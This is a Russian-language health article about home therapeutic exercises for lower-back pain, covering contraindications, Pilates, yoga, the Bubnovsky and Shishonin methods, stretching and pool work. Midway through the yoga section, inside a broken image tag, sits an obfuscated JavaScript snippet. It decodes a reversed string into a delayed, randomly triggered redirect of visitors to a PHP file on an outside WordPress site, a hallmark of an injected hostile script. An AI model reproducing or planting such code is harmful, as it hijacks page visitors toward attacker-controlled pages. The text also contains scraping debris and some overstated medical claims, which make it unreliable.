Боль в спине — довольно неприятное явление, которое можно терпеть долгое время. Но в один не самый прекрасный день такой дискомфорт может повлечь за собой и некоторые нарушения двигательной функции, онемение ног, невозможность пошевелиться или даже встать с кровати. Если вы всерьёз задумываетесь над тем, что в ближайшее время вам придётся отменить большинство планов из-за больной спины, стоит обратить внимание на лечебную гимнастику. Это очень простой и доступный способ избавиться от неприятных ощущений на долгое время. Тренируясь дома, вы сможете достигнуть больших успехов при регулярных и качественных занятиях с полной самоотдачей.
Содержание
В чём цель гимнастики для поясничного и крестцового отделов позвоночника
В течение жизни наш позвоночник регулярно подвергается негативному воздействию окружающей среды. Различные факторы давления, скачки, удары, падения и другие травмы разрушают структуру позвоночного столба. Хождение на двух ногах в вертикальной плоскости также оказывает разрушительное влияние на поясничную часть позвоночника, которая вынуждена удерживать на себе каркас всего туловища.
Как изменяется позвоночник в течение жизни:
- tor»>
- стабилизируется внутреннее вещество диска;
- уменьшается упругость соединительной ткани;
- снижается подвижность частей позвоночника и отдельных позвонков друг относительно друга;
- уменьшается объём межпозвоночных дисков;
- формируются костно-хрящевые выступы на позвонках, именуемые остеофитами;
- увеличивается градус функциональных изгибов позвоночника — лордозов и кифозов;
- уменьшается длина позвоночника, в пожилом возрасте может составлять до десяти сантиметров от изначальной.
Основные эффекты от выполнения упражнений
Каждое упражнение в реабилитационном курсе лечебной гимнастики носит свою определённую цель. Недопустимо использовать их без знания и умения правильно выполнять, так как это может сильно навредить процессу регенерации и восстановления тканей организма. Если же соблюдать все особенности и не спешить с процессом тренировок, можно достигнуть ошеломительных результатов за короткий временной промежуток.
tor»>Кратковременный эффект достигается в первые несколько занятий. Для того чтобы изменения сохранялись длительно, необходимо строго придерживаться графика.
Таблица: эффекты от применения ЛФК
| Кратковременные эффекты | Долговременные эффекты |
| стимуляция венозного и артериального кровообращения в поражённых тканях | активизация обменных процессов в соединительном веществе, улучшение питания клеток на молекулярном уровне |
| снижение интенсивности и силы нагрузки, ежедневно действующей на позвоночный столб | формирование здоровой и ровной осанки, которая сохранится в течение всей жизни |
| стимуляция процессов синтеза и активации иммунных клеток организма: ваш иммунитет гораздо быстрее реагирует на инфекцию | увеличение мышечной ткани, повышение подвижности суставов |
| формирование устойчивости к внешним воздействиям (удары, толчки) | профилактика апато-депрессивных состояний, маний, психозов |
| торможение воспалительных процессов в тканях | стабилизация гормонального фона |
| замедление дегенерации и разрушения клеток | повышение настроения и общего тонуса организма |
| нормализация оттока лимфатического вещества | уменьшение отёчности и болевых ощущений в зоне повреждения |
Важные принципы гимнастики
Лечебная гимнастика в руках умелого специалиста — поистине волшебный инструмент, с помощью которого можно вернуть себя в привычный ритм жизни. Но не стоит сломя голову кидаться в омут физической активности: для начала следует уяснить для себя некоторые правила и ограничения, а также рассмотреть основополагающие принципы, на который зиждется терапия. Без их соблюдения любой курс упражнений не принесёт желаемого результата, либо он будет кратковременным.
Таблица: принципы лечебной гимнастики
| Название | Суть принципа |
| Принцип индивидуальности | каждому пациенту назначается свой режим занятий, определённый вид и количество упражнений |
| Принцип инновации | рекомендуется добавлять новые задания каждую неделю занятий с целью развивать все группы мышц |
| Принцип регулярности | если каждый день уделять тренировкам от пятнадцати до сорока минут в день, можно достигнуть хороших результатов |
| Принцип постепенного перехода | необходимо строго соблюдать последовательность «от простого к сложному, от большего к меньшему»: сначала тренируются малые группы мышц, а затем большие |
| Принцип цикличности | нельзя беспрерывно перетруждать организм: своевременные паузы для нормализации дыхания помогут справиться с нагрузкой и легче переносить её |
| Принцип соединения | лечебная физическая гимнастика не назначается изолированно: сочетание упражнений с медикаментами, нетрадиционной медициной, народными методиками и массажем даст лучший результат |
Кому не стоит заниматься ЛФК
К сожалению, при всех весомых преимуществах лечебной физической гимнастики, её нельзя назначать всем людям без исключения. Цель ЛФК — адаптировать организм к жизни в условиях изменённого тела, восстановить подвижность позвоночника и суставов. При применении некоторых групп упражнений у людей, которые длительное время имеют хронические рецидивирующие болезни, можно спровоцировать обострение недуга.
tor»>Никогда не назначайте себе упражнения самостоятельно: это может принести вред.
Патологии, при которых стоит воздержаться от физических нагрузок:
- tor»>
- состояние шока (аллергический, септический, токсический шок);
- острый период любой травмы;
- ранний послеоперационный этап выздоровления;
- нарушения свёртываемости крови и рецидивирующие кровотечения;
- болезни органов дыхания, пищеварения, сосудов и сердца в стадии обострения;
- нервно-психические заболевания (шизофазия, делирий, сумрачное расстройство личности);
- острые инфекционные заболевания;
- некоторые генетические заболевания, связанные с серьёзным нарушением координации;
- онкологические заболевания в период после химиотреапии;
- открытые раны и кровотечения;
- недавно перенесённое сотрясение мозга;
- ревматические болезни сердца и суставов в стадии обострения.
Показания и противопоказания к выполнению упражнений на нижнюю часть спины
Не все заболевания пояснично-крестцового отдела позвоночника нуждаются в обязательном выполнении упражнений. Как и любое средство лечения, гимнастика требует своих обоснований для назначения.
Показания к выполнению упражнений:
- tor»>
- поясничный остеохондроз в латентной фазе;
- мышечное напряжение и спазмы;
- поздний посттравматический или послеоперационный период;
- длительная иммобилизация;
- не осложнённые грыжи позвоночника;
- нарушение стабильности позвоночного столба;
- формирование остеофитов;
- повышенная утомляемость и мышечная слабость;
- неприятные ощущения при нагрузках на спину.
Противопоказания для упражнений:
- tor»>
- остеохондроз в стадии обострения;
- недавно перенесённая операция на позвоночнике (менее недели);
- гипертонический криз;
- нарушение координаций движений;
- осложнённая грыжа;
- защемление сосудисто-нервных пучков;
- наличие внутренней гематомы.
Если вы всё ещё сомневаетесь, можно ли вам заниматься лечебной гимнастикой в домашних условиях, обязательно проконсультируйтесь у врача. Возможно, для оптимального решения вашей проблемы придётся существенно изменить некоторые методики.
Как подготовить себя к занятиям в домашних условиях
Посещать занятия в спортивном зале может позволить себе далеко не каждый человек. Зачастую времени добраться до тренировки абсолютно не хватает из-за работы и домашних дел. Чтобы восстановить свой позвоночник в домашних условиях, вам не понадобится покупать сложные тренажёры.
Необходимый инвентарь для занятий:
- tor»>
- гантели весом от одного до трёх килограммов;
- гимнастический коврик или мат;
- деревянная или пластмассовая палка;
- лосины или спортивные штаны и удобная футболка;
- носки или лёгкая спортивная обувь;
- небольшая штанга.
Требования к помещению для занятий:
- tor»>
- свободная комната, в которой вы сможете вытянуться в полный рост на полу, не повредив мебель;
- наличие источников естественного и искусственного освещения;
- наличие вентиляции или окон в помещении;
- по возможности — большое зеркало и магнитофон.
Лечебно-профилактические комплексы занятий при различных заболеваниях и травмах
Для каждого патологического состояния важно подобрать уникальный комплекс упражнений, который позволит максимально проработать зону повреждения. Нельзя заниматься по первому попавшемуся в интернете видео: это может усугубить боль или вызвать необратимые повреждения. Консультация с медицинским реабилитологом является обязательным мероприятием перед началом любых тренировок.
Соблюдая эти простые правила, вы обеспечите себе быстрый и безболезненный восстановительный период. В настоящее время существует огромный выбор упражнений для всех органов и систем. Чтобы не запутаться в этом множестве и совершить правильный выбор, внимательно изучите литературу по своему заболеванию и проконсультируйтесь у лечащего врача.
Гимнастика после операций и травм позвоночного столба
Восстановительный период после травм позвоночника и спинного мозга традиционно считается самым трудным. Реабилитация длится от шести месяцев и до двух лет. Поясничный и крестцовый отделы позвоночника чаще остальных подвергаются переломам, ушибам и вывихам. Именно поэтому следует уделить особенное внимание их разработке с помощью гимнастики.
Основные гимнастические упражнения, применяемые для восстановления после травмы:
- tor»>
- Из позиции лёжа на спине положите обе вытянутые руки на бёдра. Постарайтесь медленно и плавно развернуть таз в сторону, при этом не меняя положения грудной клетки. Повторять не менее двадцати раз.
- С помощью подвешенной над кроватью ручки совершайте подъёмы и опускания таза. Ноги при этом должны быть выпрямлены. Рекомендуется повторять тридцать раз до достижения желаемого эффекта.
- Из позиции лёжа на животе попробуйте дотянуться до своих лодыжек, максимально прогнув спину. Попытайтесь продержаться одну или две минуты.
- Встаньте напротив стены или устойчивой твёрдой поверхности, обопритесь на неё ладонями, поместив ноги на ширине плеч таким образом, чтобы ваша фигура образовала с поверхностью острый угол. Совершайте сгибания и разгибания рук не менее тридцати раз, сохраняя спину ровной. При выполнении вы можете почувствовать лёгкое напряжение, что связано с активацией мышечных групп поясницы.
Видео: гимнастика после травм и операций
Пилатес для спины
Пилатес представляет собой совершенно уникальную методику упражнений, которая без лишних усилий позволит вернуть позвоночнику былую подвижность. Каждое упражнение необходимо повторять от десяти до пятнадцати раз. Если ваши силы уже на исходе, начните с пятикратного повторения, с каждым днём добавляя по одному разу.
Курс пилатеса для поясницы:
- tor»>
- Установите стопы на ширине таза, опустите плечи и лопатки. Вдохните и наклоните корпус вперёд. На выдохе вернитесь в первоначальное положение.
- Из начальной позиции на четвереньках при вдохе максимально округлите спину и задержитесь на пятнадцать секунд, параллельно напрягая мышцы пресса. На выдохе расслабьте спину и живот.
- Из того же начального положения медленно вытяните правую ногу назад, затем поднимите её вверх. Вес всего тела при этом сосредоточен на руках и второй ноге.
- Из позиции лёжа на животе попробуйте без помощи рук и ног, напрягая только мышечные группы спины, перевернуться на любой бок. Если у вас это получилось с первого раза, вашей гибкости можно только позавидовать. В остальных случаях продолжайте упорно тренироваться.
Видео: пилатес при болях в пояснице
Упражнения для укрепления мышц поясницы
Если причина боли в спине кроется в слабости мышечного корсета, которая может возникнуть после долгого двигательного покоя (сложные переломы, параличи и парезы, кома), необходимо обратиться к методикам лечебной физической культуры. Нарастить мышечную массу можно только при соблюдении режима сна и отдыха, стабилизации тренировок и правильном питании.
Упражнения для укрепления мышц пояснично-крестцового отдела:
- tor»>
- Возьмите в руки гири весом не более двух килограмм каждая. Прижмите их к груди и начинайте совершать приседания. Опустившись максимально глубоко, разведите руки. При подъёме наверх снова приводите руки к груди. Повторять двадцать или двадцать пять раз.
- Поднимите руки с зажатыми гантелями над головой и медленно выдвигайте согнутую в колене ногу вперёд. Ваша задача состоит в том, чтобы равномерно распределить вес собственного тела и задержаться в устойчивом положении не менее одной минуты, совершая пружинистые движения ногой.
- Из позиции стоя максимально широко разведите ноги. Зажав в руках гантели, совершайте наклоны попеременно в обе стороны, делая перерыв между подходами по тридцать секунд. Количество выполнений в одном подходе не должно превышать шести наклонов.
Видео: укрепление мышц поясницы простыми упражнениями
Курс йоги
Йога приобрела популярность в нашей стране ещё в далёких восьмидесятых годах. Сейчас же это широко развитое направление альтернативной медицины, с помощью которого можно избавиться от многих недугов. Большая часть упражнений йоги основана на обращении внутренней энергии духа человека на его излечение. Считается, что при этом нужно занимать определённое положение, именуемое асаной. Каждая из них стимулирует свои мышечные группы, заставляя вашу биологическую энергию работать вам на благо.
Какие асаны применяют для лечения поясницы и крестца:
- tor»>
- Асана собака мордой вниз: из позиции на четвереньках поднимите таз вверх, выпрямите ноги и руки, слегка увеличив между ними расстояние. Ваше тело, согнутая спина и выпрямленные конечности должны образовывать ровный угол по отношению друг к другу. Так кровь приливает к нужным участкам тела, стимулируя регенерацию тканей.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/09/asana-psa-728×485.jpg» alt=»Асана собака мордой вниз» width=»728″ height=»485″ /> Асана собака мордой вниз — с помощью этого упражнения улучшается кровоснабжение
- Поза змеи: из положения лёжа на животе максимально приподнимите грудную клетку, выпрямите руки и напрягите позвоночник. Можно выгнуть локти.
- Асана лепесток: поместите под ягодицы подушку, совершите наклон вперёд и задержитесь в таком положении на две минуты.
- Асана плывущая лодка выполняется также на гимнастическом коврике. Откиньтесь назад, обопритесь на локти и поднимите согнутые в коленях ноги вверх. Это поможет снять напряжение с поясницы и расслабить нижнюю часть туловища.
- Героическая асана выполняется, на первый взгляд, очень просто: подожмите под себя обе ноги, положите руки на бёдра и выпрямите спину. Как можно дольше держите осанку. Можно выполнять параллельно дыхательные упражнения с небольшой амплитудой дыхания.
Видео: йога для позвоночника
Техника Бубновского
Доктор Бубновский в течение многих лет занимался изучением проблем, которые возникают у людей из-за малоподвижного образа жизни. Им было разработано множество методик, каждая из которых направлена на решение тех или иных задач, касающихся здоровья. Комплекс упражнений для устранения боли в нижней части спины пользуется популярностью уже в течение пяти лет.
Упражнения от Бубновского:
- tor»>
- Сделайте упор плечами и затылком на ровную стену. Расслабьте руки и ладони расположите ровно по поверхности. Медленно поднимайте одну ногу на максимально далёкое от пола расстояние. При правильно распределённом весе тела вы сможете ощутить, как напрягаются мышцы спины. Делать не менее десяти раз.
- Из позиции лёжа на спине медленно поднимите таз, сохраняя ноги согнутыми в коленях. Нижняя часть спины очень хорошо задействуется в этом упражнении. В качестве бонуса вы получаете укрепление ягодичных мышц. Повторять двенадцать раз.
- Возьмите гирю весом до четырёх килограммов в одну руку. Совершайте приседания, перекладывая на самой нижней точке гирю из одной руки в другую, не менее двух подходов по шесть или восемь упражнений. Если вам становится тяжело, облегчите вес гири или во время приседания держите её двумя руками.
- Займите позицию с упором на колени и локти. Откатитесь назад, опустив нижнюю часть туловища на свои щиколотки, постепенно распрямляя локти.
- Из предыдущего положения поднимайте попеременно правую руку и левую ногу, вытягивая их максимально далеко. Спина при этом должна сохранять полную неподвижность.
Видео: упражнения от доктора Бубновского
Методика оздоровления спины по Шишонину
Клиника профессора Шишонина — это лечебное учреждение, основными направленностями которого являются терапия гипертонии и нарушений опорно-двигательного аппарата. Доктор Шишонин длительное время стажировался в клинике Бубновского, прежде чем открыть собственный центр. Методика упражнений, разработанная им для восстановления поясничной части позвоночника, адаптирована для людей с различными сердечно-сосудистыми заболеваниями.
- tor»>
- Возьмите в руки ровную деревянную или пластмассовую палку: она будет служить ориентиром. Удерживая её на уровне плеч, совершайте вращательные движения нижней частью туловища, плотно зафиксировав верхнюю. Стоит повторять не менее восемнадцати раз.
- Держите палку на уровне глаз, совершайте приседания, стараясь максимально прогибать спину. Рекомендовано повторять такое движение двадцать или тридцать раз.
- Сделайте опору на ровную вертикальную поверхность спиной. Установите руки выше головы, ладони положите на стену. Медленно распрямите руки, входя в положение полумостика: ноги устойчиво стоят на земле, в то время как руки и верхняя часть туловища образуют округлую арку. Напрягайте поясницу и ягодицы в течение минуты.
- Скрепите пальцы в замок на груди. Наклонитесь вперёд (лучше, чтобы у вас была опора в виде стола, подоконника или высокого стула) и вытяните руки, стараясь сохранять прямой угол между грудной клеткой и ногами. Задержитесь на две минуты и повторите ещё десять раз.
Видео: техника доктора Шишонина
Изометрические упражнения
Изометрическая гимнастика — уникальный комплекс упражнений, целью которого является попеременное напряжение и расслабление мышц спины. Чередование покоя и отдыха позволяет дать мышцам определённый энергетический потенциал и время для восстановления. Такую технику используют профессиональные спортсмены для своих тренировок, чтобы подготовиться к более интенсивным нагрузкам. Рекомендовано повторять каждое упражнение от восьми до двадцати раз, в зависимости от ваших возможностей.
Изометрическая гимнастика для спины:
- tor»>
- Возьмите гантели весом до трёх килограммов. Руки расположите вдоль туловища опустите гантели вниз. Поворачивайте верхнюю часть туловища, вместе с тем поднимая гантели на уровень груди.
- Сядьте на стул с твёрдой спинкой, облокотитесь и держите осанку. Подбородок поднимите вверх и тяните его в течение одной минуты. После этого позвольте телу обмякнуть на стуле, расслабив мышцы — этот период не должен превышать тридцати секунд. Повторяйте не менее пятнадцати раз.
- Ложитесь на левый бок на своём гимнастическом коврике. Максимально выгните позвоночник вперёд и вверх, образуя таким образом «лежащую на боку лодку». Повторите упражнение на правом боку.
- Возьмите штангу весом полтора килограмма, поднимите её вверх. Совершайте наклоны в обе стороны, стараясь не отклоняться вбок более чем на тридцать градусов.
Видео: изометрическая техника восстановления
Техника растяжки поясничного отдела и крестца
Растяжку перед началом интенсивной тренировки используют как бывалые спортсмены, так и дети на уроках физической культуры. Не стоит недооценивать этот вид упражнений, который не только готовит мышцы, связки и сухожилия к дальнейшим нагрузкам, но и помогает увеличить подвижность позвонков и обеспечивает надёжную профилактику травм спины.
Как правильно растягиваться при проблемах с поясницей:
- tor»>
- Не совершайте резких или отрывистых движений. Медленные и плавные действия оптимальны.
- Уделяйте растяжке не менее пяти минут перед началом своих основных занятий.
Упражнения на растяжку:
- tor»>
- Сядьте на своём гимнастическом коврике и подогните обе ноги под себя. Поднимайте попеременно правую и левую руку вверх, как бы пытаясь схватить что-то с высоты.
- Из позиции сидя с согнутыми в коленках ногах переместите руки на щиколотки. Начинайте подбородком давить на ноги, распрямляя их, пока они не окажутся на коврике полностью. Это упражнение на растяжку потребует от вас определённой гибкости.
- Из позиции лёжа на животе поднимайте попеременно правую и левую ногу, согнутые в коленках, к потолку. Таким образом вы сможете задействовать длинные мышцы спины и заставить их работать.
Видео: как правильно растягивать спину
Занятия при нестабильности поясничной части спины
Нестабильность позвонков — довольно опасное явление, которое может вызвать сдавление или защемление межпозвоночных нервов, что приведёт к потере чувствительных и двигательных функций.
Людям с таким диагнозом стоит крайне аккуратно подходить к выбору комплекса гимнастических мероприятий. Обычно медицинские реабилитологи запрещают использовать силовые упражнения, так как поднятие тяжестей может значительно усугубить имеющуюся ситуацию.
Какие упражнения можно делать при нестабильности:
- tor»>
- Сядьте на колени, поместив ягодицы на щиколотки. Вдохните воздух в лёгкие и согните спину колесом, представляя себя древней старушкой. На выдохе выпрямитесь вновь. Повторите до десяти раз.
- Обопритесь на руки, отклоните голову назад, а носочки ног постарайтесь подтянуть к голове. Если у вас получилось принять эту позу, удерживайте её в течение тридцати секунд.
- Следующее упражнение нужно выполнять на боку лицом к стене. Поворачивайте туловище набок, упираясь свободной ногой в стену и не позволяя себе совершить полный поворот. Рекомендуется выполнять не менее пятнадцати раз для закрепления эффекта.
tor»>Полезно регулярно лежать не менее пятнадцати минут на твёрдой и ровной поверхности: позвоночник выпрямляется, исчезают патологические изгибы, а тело «запоминает» правильное положение позвонков.
Видео: ЛФК при нестабильности поясницы
Упражнения для лечения и восстановления поясницы
Чтобы восстановить и излечить поясничный отдел позвоночника, обратите своё внимание на аквааэробику и плавание. Давно доказано, что упражнения на воде отлично тренируют все группы мышц и помогают развивать дыхательную систему. Единственное ограничение — вы должны иметь хотя бы минимальные навыки плавания или уметь держаться на воде. Занятия в бассейне рекомендовано посещать три раза в неделю.
- tor»>
- Возьмитесь руками за край бассейна, максимально расслабив ноги и спину. Позвольте воде держать вас на поверхности. Упражнение можно выполнять на небольшой глубине.
- Займите положение в бассейне, при котором вода будет достигать плеч. Возьмите специальный мяч и поднимите его над головой. Совершайте повороты вокруг своей оси, преодолевая сопротивление воды, не менее тридцати раз.
- Положите под живот плавательную доску и расслабьте спину. Пролежав в таком положении несколько минут, попробуйте перевернуться на спину, чтобы доска оказалась впереди вас. Двадцати повторений будет достаточно.
- Переплывите бассейн не менее двадцати раз в обоих направлениях. Это упражнение подойдёт только тем, кто уверенно чувствует себя в воде и умеет плавать.
Видео: упражнения в воде для восстановления спины
Возможные негативные последствия от занятий
Если нарушать режим тренировок, последовательность выполнения упражнений и их технику, существует риск возникновения неприятных последствий. Для лечения некоторых из них может понадобиться даже хирургическое вмешательство. Именно поэтому стоит особое внимание уделять технике безопасности при начале своих занятий как в спортивном зале, так и на дому.
Осложнения от неправильного выполнения разных групп упражнений:
- tor»>
- Формирование вывиха, ушиба или даже перелома вследствие травмы: нарушение условий и техники безопасности может дорого обойтись вам.
- Разрывы и растяжения связок поджидают тех, кто начнёт выполнять упражнения без предварительной растяжки.
- Усиление нестабильности поясничного отдела позвоночника.
- Смещение по оси позвонков друг относительно друга.
- Развитие судорожного синдрома и сильных спазмов в различных мышечных группах.
- Формирование болевого синдрома.
- Защемление спинномозговых нервов, кровеносных и лимфатических сосудов.
- Переход хронического заболевания в активную фазу.
- Головокружения, головные боли, тошнота и рвота.
- Формирование психологического барьера, вызванного страхом перед предстоящей болью.
Отзывы специалистов из области травматологии и медицинской реабилитации
Роль плавания при лечебных и реабилитационных мероприятиях у больных с патологией позвоночника (в том числе и при наличии грыж межпозвонковых дисков) слишком преувеличена. Для создания хорошего мышечного корсета достаточно выполнять комплекс ЛФК, состоящий из 8–12 упражнений.
Правильно можно всё. Даже плавание надо начинать с простого прохода по бассейну минут 30. Также и скручивание. Если начинать с малой амплитуды, до боли и в здоровых позвонках, то хоть на следующий день после операции. Как вариант отработаны упражнения на моём сайте, там все поочерёдно. Задача одна, минимизировать подвижность в поражённых местах, за счёт восстановления и даже увеличения подвижности выше и ниже.
Здоровье — неотъемлемая часть вашего благополучия. Чтобы ходить в походы, активно заниматься спортом, играть с детьми, путешествовать и заниматься любимыми хобби, необходимо поддерживать мышцы спины в тонусе. Всего пятнадцать или двадцать минут тренировок в день смогут защитить вас от неприятных последствий сидячего образа жизни и восстановить подорванное после травмы здоровье. Помните, что перед началом любых занятий следует посетить вашего врача и внимательно ознакомиться с противопоказаниями и мерами предосторожности.
